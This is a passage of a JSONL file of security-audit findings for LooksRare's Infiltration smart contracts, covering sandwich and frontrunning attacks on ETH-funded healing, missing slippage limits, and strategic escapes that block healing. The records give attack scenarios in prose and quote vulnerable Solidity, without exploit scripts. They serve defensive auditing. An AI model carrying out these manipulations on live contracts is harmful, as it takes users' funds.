msg.value,\n sqrtPriceLimitX96: 0\n });\n\n``` \nThe transaction will revert if the output is not large enough for heal.\n\nAny malicious user can now manipulate the price of the uniswap pool by executing a large swap, and make heal transactions revert.\n\nThis will allow any attacker to prevent a user from healing his agents, \nfor example if the user decides to heal his agents just before the next round in wich they would get killed.\n\nHe also can prevent other users from healing there agents if the next round would be the top 50 round. This will kill all wounded agents, even if they still could have healed.\n\nIn both cases this will cause unfair killing of agents.\n\n## Impact\n\nUnfair killings of agents by price manipulation.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L45\n\n## Tool used\n\nManual Review\n\n## Recommendation\nGive user the possibility to pay with own LOOK tokens/ let him execute swap on his own","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//003-M/139.md"}} +{"title":"Attacker can prevent users from healing with eth","severity":"medium","body":"Clean Burgundy Jay\n\nmedium\n\n# Attacker can prevent users from healing with eth\n## Summary\n\nAn Attacker can manipulate the looks price and frontrun a healWithEth transaction to prevent a user from healing.\n\n## Vulnerability Detail\n\nThe InfiltrationPeriphery contract provides a function for the user to heal with `ETH`, instead of buying `LOOKS` first. The user has to pay an amount of eth, which will be swapped for LOOKS inside the function to heal the agent.\nIf the `ETH` is not enough to get the required `LOOKS` tokens, the transaction will revert.\n\nA malicious user or attacker can use this, and frontrun an exisitng heal transaction and buy a lot of LOOKS tokens to increase the pool price.\n\nIn case the user specified, just enough, eth the transaction would revert and prevent him from healing.\nIn case the user wanted to avoid this and paid a bit more eth, the attacker can gain profit on this, by selling the LOOKS token for a higher price. \n\n## Impact\n\n- DoS of user healing Agent\n- possible Sandwich Attack\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L45-L70\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nn/a","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//003-M/099.md"}} +{"title":"costToHeal() in InfiltrationPeriphery.sol allow easy sandwich and user paying more than healing cost","severity":"medium","body":"Sunny Bronze Gecko\n\nmedium\n\n# costToHeal() in InfiltrationPeriphery.sol allow easy sandwich and user paying more than healing cost\n## Summary\nIn InfitrationPeriphery.sol any user can calculate how much he must sent eth to heal it's agents, allowing him tu use ETH instead of Looks.\nTo do this the easiest way and recommended way seems to be using `InfiltrationPeriphery.sol#costToHeal()` that returns the amount of ETH needed to heal some NFT agents.\nHowever `costToHealInLOOKS` is first calculated by making a call to `QuoterV2`. This simulates the transaction directly on the target pool. This is the fundamental problem with this design. If the pool is sandwich attacked then the expected out will also fall.\nAmount returned will be false and then when user will submit the false amount of ETH to effectively heal it's agent he will open door for another sandwich attack where surplus amount will be stolen.\n\n## Vulnerability Detail\n\nExample: Assume Alice wants to heal its 10 agents using ETH : \n- current price of ETH is $1500\n- 1 looks = 1$ \n- price to heal one agent = 150$ so price to heal 1 agent in eth should be **0.1 ETH**\n\nThere is no slippage added as only `costToHealInLooks` is added (`if (sqrtPriceLimitX96 == 0) require(amountOutReceived == amountOut);`). \n\nThis means there is no highest price Alice should get : \n\n1. Assume that an attacker is observing the mempool. They see the transaction and sandwich attack it. \n2. First the sell ETH into the pool lowering the price to $1300. \n3. When Alice transaction executes, QuoterV2 will quote the price of ETH as $1300 and therefore price to heal in eth will be 0,115 ETH instead of 0,1 for one agent\n4. Alice send `0,115 ETH * 5 = 1.15` as msg.value in InfiltrationPeriphery.sol#heal() and she gets sandwiched as again only `amountOut` is needed for this transaction`sqrtPriceLimitX96: 0 //E if (sqrtPriceLimitX96 == 0) require(amountOutReceived == amountOut);`\n5. Alice paid 0.15 ETH more than what she should have.\n\nHere is the related code : \n```solidity\n function heal(uint256[] calldata agentIds) external payable {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n IV3SwapRouter.ExactOutputSingleParams memory params = IV3SwapRouter.ExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n fee: POOL_FEE, //E 3_000\n recipient: address(this),\n amountOut: costToHealInLOOKS,\n amountInMaximum: msg.value,\n sqrtPriceLimitX96: 0 //E if (sqrtPriceLimitX96 == 0) require(amountOutReceived == amountOut);\n });\n\n uint256 amountIn = SWAP_ROUTER.exactOutputSingle{value: msg.value}(params);\n\n IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n\n INFILTRATION.heal(agentIds);\n\n if (msg.value > amountIn) {\n SWAP_ROUTER.refundETH();\n unchecked {\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, msg.value - amountIn, gasleft());\n }\n }\n }\n\n function costToHeal(uint256[] calldata agentIds) external returns (uint256 costToHealInETH) {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n\n IQuoterV2.QuoteExactOutputSingleParams memory params = IQuoterV2.QuoteExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n amount: costToHealInLOOKS,\n fee: POOL_FEE,\n sqrtPriceLimitX96: uint160(0) //E if (sqrtPriceLimitX96 == 0) amountOutCached = params.amount = costToHealInLOOKS\n });\n\n (costToHealInETH, , , ) = QUOTER.quoteExactOutputSingle(params);\n }\n```\n## Impact\n- Users healing payment can be sandwich attacked due to ineffective slippage controls\n\n## Code Snippet\n- https://github.com/Uniswap/v3-periphery/blob/main/contracts/lens/QuoterV2.sol#L197\n- https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/IQuoterV2.sol\n- https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L78\n- \n## Tool used\n\nManual Review\n\n## Recommendation\nAllow users to specify an min/max sqrtPriceLimitX96. If the pool ever goes above/below that value then revert the call","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//003-M/089-best.md"}} +{"title":"Lack of slippage for `heal()` can cause huge financial loss for users","severity":"medium","body":"Loud Myrtle Tiger\n\nhigh\n\n# Lack of slippage for `heal()` can cause huge financial loss for users\n## Summary\nUsers can choose to heal their agent when it is wounded. But the only allowed parameter is the `agentId`. It does not allow users to specify the maximum amount they are willing to pay for the heal.\n\n## Vulnerability Detail\nThe issue here is that the cost of healing doubles for each heal that has been made. Users will always want to pay a lower cost. Because of the missing slippage check, users can potentially be forced to pay more than 2x the cost they are willing to pay.\n\nAssuming 0.08 USDC LOOKS price ( current price )\n\n1. User sees the cost to heal is 500 LOOKS ( $40 USDC )\n2. User calls the function heal\n3. 2 other users happen to heal in the same block before the vulnerable user\n4. Price now is 2000 LOOKS ( $160 USDC )\n5. User pays 4x more than he is willing to\n\n## Impact\nDue to cost of healing doubles every heal, the cost increases exponentially and can quickly rise beyond what a user is willing to pay for, hence causing huge losses to the user. \n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L801\n\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd a maximum amount of LOOKS token in the `heal()` function, so that users can control and specify how much they are willing to pay for the heal.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//003-M/077.md"}} +{"title":"Calls to `InfiltrationPeriphery.sol#heal` may be frontrun to achieve poor price execution for an unsuspecting caller.","severity":"medium","body":"Quiet Sandstone Osprey\n\nmedium\n\n# Calls to `InfiltrationPeriphery.sol#heal` may be frontrun to achieve poor price execution for an unsuspecting caller.\n## Summary\n\nThe [`heal`](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L45) and [`costToHeal`](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L78) functions utilize `ExactOutputSingleParams` which specify inefficient trade execution at the expense of the caller, explicitly indicating that they wish to execute their swap at any tick price regardless of market conditions.\n\n## Vulnerability Detail\n\nWhen allocating `QuoteExactOutputSingleParams`, both [`heal`](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L45) and [`costToHeal`](https://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L78) functions specify a `sqrtPriceLimitX96` of `0`. From the [Uniswap V3 Single Swaps Documentation](https://docs.uniswap.org/contracts/v3/guides/swaps/single-swaps):\n\n> `sqrtPriceLimitX96`: We set this to zero - which makes this parameter inactive. In **production**, this value can be used to set the limit for the price the swap will push the pool to, which can **help protect against price impact** or for setting up logic in a variety of price-relevant mechanisms.\n\nThis means that the trades made using these parameters are **not protected against price impact**.\n\nMoreover, the codebase would suggest to a casual observer that paying over-the-odds for their trade would be safe, given the comprehensive refund mechanism:\n\n```solidity\n if (msg.value > amountIn) {\n SWAP_ROUTER.refundETH();\n unchecked {\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, msg.value - amountIn, gasleft());\n }\n}\n```\n\nDisguised here, however, is the implicit agreement to execution of the order at the current market price, regardless of the state of the pool - which can be drastically manipulated by frontrunning bots that anticipate the transaction.\n\nIt is important to note that the `public view` function `costToHeal` will not be correctly indicative of this adverse execution-time market behaviour.\n\n## Impact\n\n**For any amount of `msg.value` sent by the caller that is greater than or equal to the current market price for $LOOKS, callers will receive the exact amount of tokens requested.**\n\nWhen considering transactions made in haste (which is a reasonable expectation given the intended size of the audience versus the relative scarcity of healing), this could lead to significant unintentional material losses for unsuspecting users.\n\nMeanwhile, orders executed at the `msg.value` predicted exactly by `costToHeal` may not be executed in a timely manner compared to higher-value competing swaps, reducing the likelihood of success for players intending to heal their agents.\n\n## Code Snippet\n\n```solidity\n/**\n * @notice Submits a heal request for the specified agent IDs.\n * @param agentIds The agent IDs to heal.\n */\nfunction heal(uint256[] calldata agentIds) external payable {\n uint256 costToHealInLOOKS = INFILTRATION.costToHeal(agentIds);\n\n IV3SwapRouter.ExactOutputSingleParams memory params = IV3SwapRouter.ExactOutputSingleParams({\n tokenIn: WETH,\n tokenOut: LOOKS,\n fee: POOL_FEE,\n recipient: address(this),\n amountOut: costToHealInLOOKS,\n amountInMaximum: msg.value,\n sqrtPriceLimitX96: 0 /* @audit poor execution price */\n });\n\n uint256 amountIn = SWAP_ROUTER.exactOutputSingle{value: msg.value}(params);\n\n IERC20(LOOKS).approve(address(TRANSFER_MANAGER), costToHealInLOOKS);\n\n INFILTRATION.heal(agentIds);\n\n if (msg.value > amountIn) {\n SWAP_ROUTER.refundETH();\n unchecked {\n _transferETHAndWrapIfFailWithGasLimit(WETH, msg.sender, msg.value - amountIn, gasleft());\n }\n }\n}\n```\n\n## Tool used\n\nManual Review, Visual Studio Code and [Uniswap V3 Single Swaps Documentation](https://docs.uniswap.org/contracts/v3/guides/swaps/single-swaps)\n\n## Recommendation\n\nPrior to submitting a `heal` transaction, the application frontend or user can decide upon a fair trade execution price, and the subsequent call to `InfiltrationPeripiphery` must accept the user's selection of `sqrtPriceLimitX96`:\n\n```diff\n- function heal(uint256[] calldata agentIds) external payable {\n+ function heal(uint256[] calldata agentIds, uint160 sqrtPriceLimitX96) external payable {\n```\n\n```diff\n- function costToHeal(uint256[] calldata agentIds) external returns (uint256 costToHealInETH) {\n+ function costToHeal(uint256[] calldata agentIds, uint160 sqrtPriceLimitX96) external returns (uint256 costToHealInETH) {\n```","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//003-M/053.md"}} +{"title":"`InfiltrationPeriphery::heal` users can lose surplus of ETH sent to slippage","severity":"medium","body":"Fun Aegean Halibut\n\nmedium\n\n# `InfiltrationPeriphery::heal` users can lose surplus of ETH sent to slippage\n## Summary\n`InfiltrationPeriphery::heal` enables a user to heal agents using ETH, and helps by swapping the ETH amount provided to LOOKS (which is used to pay for the healing). However even though the maximum amount paid in ETH is bounded by `msg.value`, a user can pay more than needed, because the slippage parameter is set to zero.\n\n## Vulnerability Detail\nSee the function `InfiltrationPeriphery::heal`:\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L41-L70\n\nThe parameter `sqrtPriceLimitX96` is set to zero, which means that ETH/LOOKS price can be very high, and use all of `msg.value`, even if it was not intended to by the original user (when a user provides surplus eth, it is returned to him by the periphery). \nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/InfiltrationPeriphery.sol#L55\n\nIn the scenario when a user provides a surplus of ETH to ensure his tx will not revert, a malicious front-runner can take advantage and sandwich the swap.\n\n## Impact\nA user providing a surplus of ETH during healing with periphery may lose it\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\nUse an alternative price source such as chainlink and check price deviation against it","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//003-M/030.md"}} +{"title":"Wounded agents are killed without the next phase starting","severity":"major","body":"Warm Concrete Mole\n\nmedium\n\n# Wounded agents are killed without the next phase starting\n## Summary\n\nAccording to spec, wounded agents are only supposed to be killed after the phase with `activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS` actually begins. However, this is not the case with the current implementation. \n\n## Vulnerability Detail\n\nCurrently, in `startNewRound`, we conditionally kill the wounded agents if we think we're in the final phase of the game (where one agent is killed per round):\n\n```solidity\n if (activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n uint256 woundedAgents = gameInfo.woundedAgents;\n\n if (woundedAgents != 0) {\n uint256 killRoundId = currentRoundId > ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD\n ? currentRoundId.unsafeSubtract(ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD)\n : 1;\n uint256 agentsRemaining = agentsAlive();\n uint256 totalDeadAgentsFromKilling;\n while (woundedAgentIdsPerRound[killRoundId][0] != 0) {\n uint256 deadAgentsFromKilling = _killWoundedAgents({\n roundId: killRoundId,\n currentRoundAgentsAlive: agentsRemaining\n });\n unchecked {\n totalDeadAgentsFromKilling += deadAgentsFromKilling;\n agentsRemaining -= deadAgentsFromKilling;\n ++killRoundId;\n }\n }\n\n // This is equivalent to\n // unchecked {\n // gameInfo.deadAgents += uint16(totalDeadAgentsFromKilling);\n // }\n // gameInfo.woundedAgents = 0;\n assembly {\n let gameInfoSlot0Value := sload(gameInfo.slot)\n let deadAgents := and(shr(GAME_INFO__DEAD_AGENTS_OFFSET, gameInfoSlot0Value), TWO_BYTES_BITMASK)\n\n gameInfoSlot0Value := and(\n gameInfoSlot0Value,\n // This is equivalent to\n // not(\n // or(\n // shl(GAME_INFO__WOUNDED_AGENTS_OFFSET, TWO_BYTES_BITMASK),\n // shl(GAME_INFO__DEAD_AGENTS_OFFSET, TWO_BYTES_BITMASK)\n // )\n // )\n 0xffffffffffffffffffffffffffffffffffffffffffffffff0000ffff0000ffff\n )\n\n gameInfoSlot0Value := or(\n gameInfoSlot0Value,\n shl(GAME_INFO__DEAD_AGENTS_OFFSET, add(deadAgents, totalDeadAgentsFromKilling))\n )\n\n sstore(gameInfo.slot, gameInfoSlot0Value)\n }\n }\n }\n```\n\nSo, if `activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS`, then the wounded agents will be killed. \n\nHowever, in fulfillRandomWords:\n\n```solidity\n\n if (healingAgents != 0) {\n uint256 healedAgents;\n (healedAgents, deadAgentsFromHealing, currentRandomWord) = _healRequestFulfilled(\n currentRoundId,\n currentRoundAgentsAlive,\n currentRandomWord\n );\n unchecked {\n currentRoundAgentsAlive -= deadAgentsFromHealing;\n activeAgents += healedAgents;\n gameInfo.healingAgents = uint16(healingAgents - healedAgents - deadAgentsFromHealing);\n }\n }\n```\n\nThe number of activeAgents is actually increased. The if statement after this in `fulfillRandomWords` checks number of `activeAgents` to see which path to take (e.g. either proceed with the phase which allows wounding / healing or the final phase where one ganet is killed every round): `if (activeAgents > NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) `\n\nThis means that it's possible for us to have killed all the wounded agents initially thinking we were going to be in the final phase of the game, but because some agents were healed, we are not actually in the final phase of the game. This is incorrect behavior. This can also cycle multiple times, since if `if (activeAgents > NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS)` becomes true, then more agents will be selected to be wounded.\n\n## Impact\n\nWounded agents will be instantaneously killed at a time they are potentially not supposed to be. This is unfair to the owners of these agents. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L1115-L1233\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L598-L648\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider killing all the wounded inside `fulfillRandomWords` instead (if you have problems with gas costs, potentially you could do something to mark them for killing without actually killing them).","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//002-H/140.md"}} +{"title":"Unfair killing of Agents","severity":"major","body":"Shaggy Emerald Dalmatian\n\nhigh\n\n# Unfair killing of Agents\n## Summary\n\nA malicious user or attacker can possibly prevent other users from healing there Agents, and force kill them, before the actual finals.\n\n## Vulnerability Detail\n\nAccording to the game rules, all wounded Agents should be able to get healed until a round **starts** with 50 or less players.\nHowever, the code is not working like this. There is a possible situation where a round starts with more than 50 agents, but during the round, the number of active Agents, goes down to 50 or less.\nAccording to the game rules, all players should be able to heal there agents in this round. However in the healing function there is the following check:\n\n```solidity\nif (gameInfo.activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n revert HealingDisabled();\n}\n``` \nAs we can see the healing check is going against the actual number of active agents, left. \n\nWhen Agents escape during a round, there Status is changed from `Active` to `Escaped` immediately. This means, that the number of active Agents can go down during the active round.\n\nThis would result in all heal calls before the escape to succeed, and all attempts after the attempt would revert.\n\nWhen there where heals before, there is a possibility, that the next round even starts with more than 50 agents again.\n\nBut, because wounded Agents are killed before the healing, if there are less than 50 Agents left, all the non healed wounded Agents will be killed immediately.\n\nThis could happen during normal use of the game, or can be done intentionally by a malicious user.\n\n\n## Impact\n\n- Agents cannot be healed\n- All non healed wounded agents, will be immediately killed at the start of the next round\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L804-L806\n\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L598-L648\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nProblem arises, because the healing is disabled based on the actual amount of active Agent instead of the amount of active Agents at the start of the round.\n\nMaybe another flag can be introduced to disable the healing on the start of the round.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//002-H/087.md"}} +{"title":"Strategic escape can block healers","severity":"major","body":"Quick Silver Stallion\n\nmedium\n\n# Strategic escape can block healers\n## Summary\nIf the game has some active agents such that escaping a few agents would cause the count of active agents to drop below 50, it effectively blocks the possibility of healing. This strategic move can be used to strategically prevent potential healers from activating.\n## Vulnerability Detail\nLet's consider an example: \nAlice has 5 agents, and the current count of active agents is 51. However, there are 100 wounded agents from previous rounds, and the condition ROUNDS_TO_BE_WOUNDED_BEFORE_DEAD has not been met. Since the secondary prize phase is very close, with just 1 agent away from the threshold, all 100 wounded agents might consider healing themselves, regardless of the probability of successful healing.\n\nGiven that the maximum number of healable agents in a round is limited to 30, there is a possibility that the next round will have 51 + 30 - newWoundedAgents active agents. However, if the count of active agents is less than or equal to 50, healing is not possible. In such a case, Alice can choose to escape one of her agents, reducing the count of active agents in the game to 50. This action effectively prevents healing, as indicated by the following check in the code:\n```solidity\nif (gameInfo.activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n revert HealingDisabled();\n } \n```\n\nBy sacrificing one of her agents, Alice can achieve the following strategic advantages:\n\n1- Transition the game to phase 2, which is the instant dead phase, resulting in the elimination of all wounded agents.\n2- Prevent the potential healing of up to 30 agents.\n3- Secure her position as a winner in the secondary prize phase, given that there are now fewer than or equal to 50 agents remaining.\nIn this scenario, Alice makes a clever move to block potential healers.\n## Impact\nSince this is a game I think executing such strategies are not necessarily a \"security issue\". Also, by blocking the healers Alice sacrifices the potential new LOOKS tokens gains coming from healing so it is not \"always\" profitable depending on Alice's luck. However, it could also be evaluated as medium and I wasn't sure. I will leave it to sponsor and judges for figuring out the exact severity but I think this is at worst an informational finding rather than an invalid finding. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L801-L806\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L716-L796\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//002-H/061.md"}} +{"title":"Agents with Healing Opportunity Will Be Terminated Directly if The `escape` Reduces activeAgents to the Number of `NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS` or Fewer","severity":"major","body":"Damaged Ocean Mantaray\n\nhigh\n\n# Agents with Healing Opportunity Will Be Terminated Directly if The `escape` Reduces activeAgents to the Number of `NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS` or Fewer\n## Summary\n\nWounded Agents face the risk of losing their last opportunity to heal and are immediately terminated if certain Active Agents decide to escape.\n\n## Vulnerability Detail\n\nIn each round, agents have the opportunity to either `escape` or `heal` before the `_requestForRandomness` function is called. However, the order of execution between these two functions is not specified, and anyone can be executed at any time just before `startNewRound`. Typically, this isn't an issue. However, the problem arises when there are only a few Active Agents left in the game.\n\nOn one hand, the `heal` function requires that the number of `gameInfo.activeAgents` is greater than `NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS`.\n\n```solidity\n function heal(uint256[] calldata agentIds) external nonReentrant {\n _assertFrontrunLockIsOff();\n//@audit If there are not enough activeAgents, heal is disabled\n if (gameInfo.activeAgents <= NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS) {\n revert HealingDisabled();\n }\n```\n\n\nOn the other hand, the `escape` function will directly set the status of agents to \"ESCAPE\" and reduce the count of `gameInfo.activeAgents`.\n\n```solidity\n function escape(uint256[] calldata agentIds) external nonReentrant {\n _assertFrontrunLockIsOff();\n\n uint256 agentIdsCount = agentIds.length;\n _assertNotEmptyAgentIdsArrayProvided(agentIdsCount);\n\n uint256 activeAgents = gameInfo.activeAgents;\n uint256 activeAgentsAfterEscape = activeAgents - agentIdsCount;\n _assertGameIsNotOverAfterEscape(activeAgentsAfterEscape);\n\n uint256 currentRoundAgentsAlive = agentsAlive();\n\n uint256 prizePool = gameInfo.prizePool;\n uint256 secondaryPrizePool = gameInfo.secondaryPrizePool;\n uint256 reward;\n uint256[] memory rewards = new uint256[](agentIdsCount);\n\n for (uint256 i; i < agentIdsCount; ) {\n uint256 agentId = agentIds[i];\n _assertAgentOwnership(agentId);\n\n uint256 index = agentIndex(agentId);\n _assertAgentStatus(agents[index], agentId, AgentStatus.Active);\n\n uint256 totalEscapeValue = prizePool / currentRoundAgentsAlive;\n uint256 rewardForPlayer = (totalEscapeValue * _escapeMultiplier(currentRoundAgentsAlive)) /\n ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n rewards[i] = rewardForPlayer;\n reward += rewardForPlayer;\n\n uint256 rewardToSecondaryPrizePool = (totalEscapeValue.unsafeSubtract(rewardForPlayer) *\n _escapeRewardSplitForSecondaryPrizePool(currentRoundAgentsAlive)) / ONE_HUNDRED_PERCENT_IN_BASIS_POINTS;\n\n unchecked {\n prizePool = prizePool - rewardForPlayer - rewardToSecondaryPrizePool;\n }\n secondaryPrizePool += rewardToSecondaryPrizePool;\n\n _swap({\n currentAgentIndex: index,\n lastAgentIndex: currentRoundAgentsAlive,\n agentId: agentId,\n newStatus: AgentStatus.Escaped\n });\n\n unchecked {\n --currentRoundAgentsAlive;\n ++i;\n }\n }\n\n // This is equivalent to\n // unchecked {\n // gameInfo.activeAgents = uint16(activeAgentsAfterEscape);\n // gameInfo.escapedAgents += uint16(agentIdsCount);\n // }\n```\n\nThrerefore, if the `heal` function is invoked first then the corresponding Wounded Agents will be healed in function `fulfillRandomWords`. If the `escape` function is invoked first and the number of `gameInfo.activeAgents` becomes equal to or less than `NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS`, the `heal` function will be disable. This obviously violates the fairness of the game.\n\n**Example**\n\nConsider the following situation:\n\nAfter Round N, there are 100 agents alive. And, **1** Active Agent wants to `escape` and **10** Wounded Agents want to `heal`.\n- Round N: \n - Active Agents: 51\n - Wounded Agents: 49\n - Healing Agents: 0\n\nAccording to the order of execution, there are two situations.\n**Please note that the result is calculated only after `_healRequestFulfilled`, so therer are no new wounded or dead agents**\n\nFirst, invoking `escape` before `heal`. \n`heal` is disable and all Wounded Agents are killed because there are not enough Active Agents.\n- Round N+1: \n - Active Agents: 50\n - Wounded Agents: 0\n - Healing Agents: 0\n \nSecond, invoking `heal` before `escape`.\nSuppose that `heal` saves **5** agents, and we got:\n- Round N+1:\n - Active Agents: 55\n - Wounded Agents: 39\n - Healing Agents: 0\n\nObviously, different execution orders lead to drastically different outcomes, which affects the fairness of the game.\n\n## Impact\n\nIf some Active Agents choose to escape, causing the count of `activeAgents` to become equal to or less than `NUMBER_OF_SECONDARY_PRIZE_POOL_WINNERS`, the Wounded Agents will lose their final chance to heal themselves. \n\nThis situation can significantly impact the game's fairness. The Wounded Agents would have otherwise had the opportunity to heal themselves and continue participating in the game. However, the escape of other agents leads to their immediate termination, depriving them of that chance.\n\n## Code Snippet\n\nHeal will be disabled if there are not enout activeAgents.\n[Infiltration.sol#L804](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L804)\n\nEscape will directly reduce the activeAgents.\n[Infiltration.sol#L769](https://github.com/sherlock-audit/2023-10-looksrare/blob/main/contracts-infiltration/contracts/Infiltration.sol#L769)\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIt is advisable to ensure that the `escape` function is always called after the `heal` function in every round. This guarantees that every wounded agent has the opportunity to heal themselves when there are a sufficient number of `activeAgents` at the start of each round. This approach can enhance fairness and gameplay balance.","dataSource":{"name":"sherlock-audit/2023-10-looksrare-judging","repo":"https://github.com/sherlock-audit/2023-10-looksrare-judging","url":"https://github.com/sherlock-audit/2023-10-looksrare-judging/blob/main//002-H/043-best.md"}} +{"title":"If escapes makes an agent winner while there are healing agents the healing agents LOOKS are lost","severity":"major","body":"Quick Silver Stallion\n\nmedium\n\n# If escapes makes an agent winner while there are healing agents the healing agents LOOKS are lost\n## Summary\nWhen escapes happen in a level to make some agent winner (only active agent in the game) while there are some healing agents the game will be over and the healing agents lost their heal cost.\n## Vulnerability Detail\nAssume there are 50 active agents alive in the game and 15 healing agents. Assume that Alice is the owner of the all 50 agents and she sees that there are 15 healing agents. Those healers already paid the equivalent LOOKS to have a chance to be alive in the next round. Alice can take advantage of this situation and escapes her 49 agents making the game over. Those 15 healing agents LOOKS are sent to Alice and their heal didn't do what it supposed to.\n\nNote that Alice having ownership of the last 50 active agents is not a must. This scenario can happen without having such a power but would be more unlikely because of the nature of competition. \n## Impact\nAs stated above the scenario is possible and there is a loss of funds possibility for all those healers. Considering the possibility of such scenarios happening and the funds lost I will label this as medium\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L716-L796\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L801-L916\nhttps://github.com/sherlock-audit/2023-10-looksrare/blob/86e8a3a6d7880af0dc2ca03bf3eb31bc0a10a552/contracts-infiltration/contracts/Infiltration.sol#L656-L704\n## Tool used\n\nManual Review\n\n## Recommendation\nDo not let the game to be over when there are pending heal requests to have a fair competition for the 